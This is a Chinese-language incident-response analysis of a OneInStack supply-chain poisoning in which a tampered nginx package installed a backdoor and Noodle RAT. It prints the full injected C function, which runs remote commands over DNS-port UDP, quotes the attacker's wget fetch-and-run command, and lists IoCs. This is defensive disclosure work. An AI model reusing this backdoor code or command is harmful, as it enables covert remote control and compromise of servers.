2024 年 8 月底,我们检测并处理了一起 OneInStack 供应链投毒事件。起因是运维在服务器上部署业务时,使用了 OneInStack 一键网站部署工具。该工具在安装过程中,从恶意的镜像节点下载了被恶意篡改的 nginx 源码包。之后 nginx 被编译安装和运行,导致服务器被植入后门。如果你是企业网络安全防护的一员,在读全文前,请先滑到最后的 IoCs 章节,对这些指标进行针对性防御和流量回溯,以避免不必要的损失。
根据后门样本硬编码字符串特征,我们确认本次入侵攻击者使用的后门家族为 Noodle RAT。根据趋势科技发布的安全报告,使用该恶意软件的攻击组织主要活动在亚太地区,以间谍活动或经济利益为目的开展入侵活动。
这次入侵排查起初来自微步 TDP 的告警,客户的资产主动请求了 nginx[.]dev 域名,被微步情报标记为 LNMP 投毒事件。
随后该服务器上的 HIDS 也产生了告警。发现/tmp/CCCCCCCC 存在反弹 Shell 通信的行为。于是在服务器上进行排查。发现/tmp/CCCCCCCC 进程在主动连接 IP:8[.]218.92.123。
排查主机命令执行历史,发现该机器的 nginx 进程有执行 wget 命令下载二进制文件的行为:
wget http://39.105.57.178/sos&&chmod 777 sos&&./sos
将程序上传云沙箱,被扫描识别为后门
将该程序拖入 IDA 中,发现该程序在初始化配置时,使用硬编码密钥"r0st@#$"进行解密。
根据该硬编码特征,在搜索引擎中发现已有许多安全公司对这个样本进行了分析,并将该样本命令为 Noodle RAT。由于这个后门进程是 nginx 进程启动的,并且这个服务器也有访问 LNMP 投毒相关的域名,因此我们再对 nginx 进程进行排查。定位到 nginx 进程对应的程序,将该程序上传至微步,未检出异常。
根据 LNMP 投毒相关情报,攻击者会在 nginx 源码 src/os/unix/ngx_process.c 中加入恶意代码函数 ngx_thread_pool。根据函数特征,在 IDA 中定位到相关函数:
因此可以确定 nginx 程序也是存在后门的。根据运维人员描述,nginx 使用 oneinstack 脚本自动化安装。于是定位到 oneinstack 相关目录,查看 nginx 的源码,与情报分析文章中描述一致,在 ngx_process.c 文件中可看到新增恶意函数:
static void *
ngx_thread_pool(){
FILE *fp;
ngx_uint_t is_sec;
ngx_int_t sockfd;
ssize_t nread;
uint32_t timestamp;
struct hostent *h;
struct sockaddr_in sin; struct timeval tv[2];
char buf[470] = {0};
int port = 53;
char nginx_ver[]= NGINX_VER_BUILD NGX_LINEFEED;
char hostname[] = { 0x6f, 0x66, 0x68, 0x6f, 0x79, 0x2f, 0x65, 0x64, 0x77, 0x00 };
for (is_sec = 0; hostname[is_sec] != '\0'; is_sec++) { hostname[is_sec] ^= 0x01; }
/* AF_INET only */
ngx_memzero(&sin, sizeof(struct sockaddr_in));
tv[0].tv_sec = 5;
tv[1].tv_sec = 10;
tv[0].tv_usec = 0;
timestamp = (uint32_t) ((ngx_time_t *)ngx_timeofday())->sec;
for (is_sec = 0; is_sec < sizeof(nginx_ver); is_sec++) {
nginx_ver[is_sec] ^= ((uint8_t *)×tamp)[is_sec % sizeof(uint32_t)];
}
ngx_sleep(2419200);
while (&tv[0]) {
ngx_sleep(tv[1].tv_sec);
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd < 0) {
goto end_;
}
if ((h = gethostbyname(hostname)) == NULL) {
goto end_;
}
ngx_memzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr = *((struct in_addr *)h->h_addr);
if (setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &tv[0], sizeof(tv[0])) < 0 ||
setsockopt(sockfd, SOL_SOCKET, SO_SNDTIMEO, &tv[0], sizeof(tv[0])) < 0) {
goto end_;
}
if (sendto(sockfd, nginx_ver, sizeof(nginx_ver), 0,
(struct sockaddr *)&sin, sizeof(sin)) == -1) {
goto end_;
}
if(recvfrom(sockfd, buf, sizeof(buf), 0, (struct sockaddr *)&sin, (socklen_t[]){sizeof(sin)})>0)
{
for (is_sec = 0; is_sec < ngx_strlen(buf); is_sec++) {
buf[is_sec] ^= ((uint8_t *)×tamp)[is_sec % sizeof(uint32_t)];
}
switch (buf[0])
{
case 0x00:
break;
case 0x03:
fp = popen(buf + 1, "r");
if (fp == NULL){break;}
ngx_memzero(buf, sizeof(buf));
while ((nread = fread(buf, 1, sizeof(buf) - 1, fp)) > 0) {
for (is_sec = 0; is_sec < sizeof(buf); is_sec++) {
buf[is_sec] ^= ((uint8_t *)×tamp)[is_sec % sizeof(uint32_t)];
}
sendto(sockfd, buf, nread, 0, (struct sockaddr *)&sin, sizeof(sin));
ngx_memzero(buf,sizeof(buf));
ngx_sleep(0.1);
}
pclose(fp);
break;
case 0x08:
tv[1].tv_sec = 86400;
break;
case 0x09:
tv[1].tv_sec = 10;
break;
default:
break;
}
}
end_:
close(sockfd);
sockfd = 0;
ngx_memzero(buf,sizeof(buf));
}
return NULL;
}
这里附上 GPT 生成的代码功能解释。这段代码是一个复杂的网络函数,它涉及到发送和接收数据包、处理响应数据,并通过 XOR 操作对数据进行加密和解密。从整体来看,它似乎是一个隐藏的、可能恶意的功能,因为它通过 DNS 通信的方式进行数据发送和处理。
1. 变量定义:
• FILE *fp;
:用于文件操作,可能会在处理响应时执行系统命令。
• ngx_uint_t is_sec; ngx_int_t sockfd; ssize_t nread;
:分别是无符号整数、整数、读取字节数的变量。
• uint32_t timestamp;
:存储当前时间戳。
• struct hostent *h; struct sockaddr_in sin;
:用于 DNS 解析和存储目标地址的结构体。
• struct timeval tv[2];
:用于存储超时时间的数组。
• char buf[470] = {0};
:接收数据的缓冲区。
• int port = 53;
:指定目标端口为 53,通常是 DNS 服务端口。
• char nginx_ver[] = NGINX_VER_BUILD NGX_LINEFEED;
:用于存储 NGINX 版本信息。
• char hostname[]
:经过简单加密的主机名字符串。
2. 主机名解密:
• for (is_sec = 0; hostname[is_sec] != '\0'; is_sec++) { hostname[is_sec] ^= 0x01; }
:通过 XOR 操作对主机名进行解密。
3. 地址初始化:
• ngx_memzero(&sin, sizeof(struct sockaddr_in));
:清空 sin
结构体,初始化目标地址。
• 设置超时时间:tv[0].tv_sec = 5; tv[1].tv_sec = 10;
设置超时时间为 5 秒和 10 秒。
4. 时间戳加密 NGINX 版本信息:
• timestamp
是从当前时间获取的。
• for
循环通过 XOR 操作将时间戳与 nginx_ver
的每个字节进行异或操作,生成加密的版本信息。
5. DNS 通信和处理:
• 代码进入一个 while
循环,定期发送数据包。
• sockfd = socket(AF_INET, SOCK_DGRAM, 0);
创建一个 UDP 套接字。
• h = gethostbyname(hostname)
获取目标主机的 IP 地址。
• sendto
发送加密的 NGINX 版本信息到指定主机的 53 端口。
• recvfrom
接收目标主机的响应数据,并对其进行解密。
6. 响应处理:
• 根据响应数据的第一个字节 (buf[0]
),代码执行不同的操作:
• 0x00:什么都不做。
• 0x03:执行从 buf + 1
中读取的命令,并将输出再次通过 XOR 加密后发送回去。
• 0x08:将 tv[1].tv_sec
设置为 86400 秒(1 天),可能用于延长下次循环的等待时间。
• 0x09:将 tv[1].tv_sec
设置为 10 秒,恢复到较短的等待时间。
7. 错误处理和清理:
• end_:
标签用于错误处理或正常结束循环。
• 关闭套接字,清空缓冲区,并继续循环。
根据已有 LNMP 投毒案例和 OneInStack 投毒案例,结合服务器上的样本。这次的入侵攻击者使用与 LNMP 中 nginx 恶意代码一致。由于缺少服务器下载 nginx 安装包的网络日志。没有直接证据表明 nginx 来自恶意的 OneInStack 镜像节点。但从感染方式来说与此前的 OneInStack 投毒案例高度一致。因此我们评估这次攻击者依然使用 OneInStack 投毒的手法,对所有国内的 OneInStack 用户进行攻击。由于我们掌握的 IoC 缺少其他关联线索,暂时无法确定相关的攻击组织。如果读者有兴趣欢迎一起调查。
IoC | 作用 |
nginx[.]dev | nginx 后门反连域名 |
39[.]105.57.178 | 存放后门的文件服务器 |
8[.]218.92.123 | Noodle RAT 反连 IP |
文件名 | SHA256 |
sos | a330d63e261b6f9808ef6a441a6434a18b89661e80630b78c24aa538aff38bf7 |
crond | 7be63b254b6098f7a0a69f8ea606a05e94597ed6f8f3f877bc24ca4217c114ce |
passh | 4011944ef6d0f3748ffea96e78ce25814c9876c91047e7465f9cadeb311e442b |
libxml2.so.2.9.2 | d2fa079a4dc5d50b5f7f66dddd7c3b1621ccf27c7ad8b722c5fb31e4d860bb3b |
pppssmaster | b23db082dc798b0b1f3d8ad7849f9f5de0cac996ab23fc6ae7385cf83e4a7ee9 |
nginx | 85ff3fe30ef08fbd7f577428ffcf8ff51f5cc179379690d0e51f2d928c781706 |
nginx-1.24.0.tar.gz | 7b2b469fb6af5dc3e95b6b460e7143f30c7069eac5fbbefb10d28d1a9913940c |
https://www.trendmicro.com/en_us/research/24/f/noodle-rat-reviewing-the-new-backdoor-used-by-chinese-speaking-g.html
https://www.sohu.com/a/782760876_121304381
https://www.secrss.com/articles/59526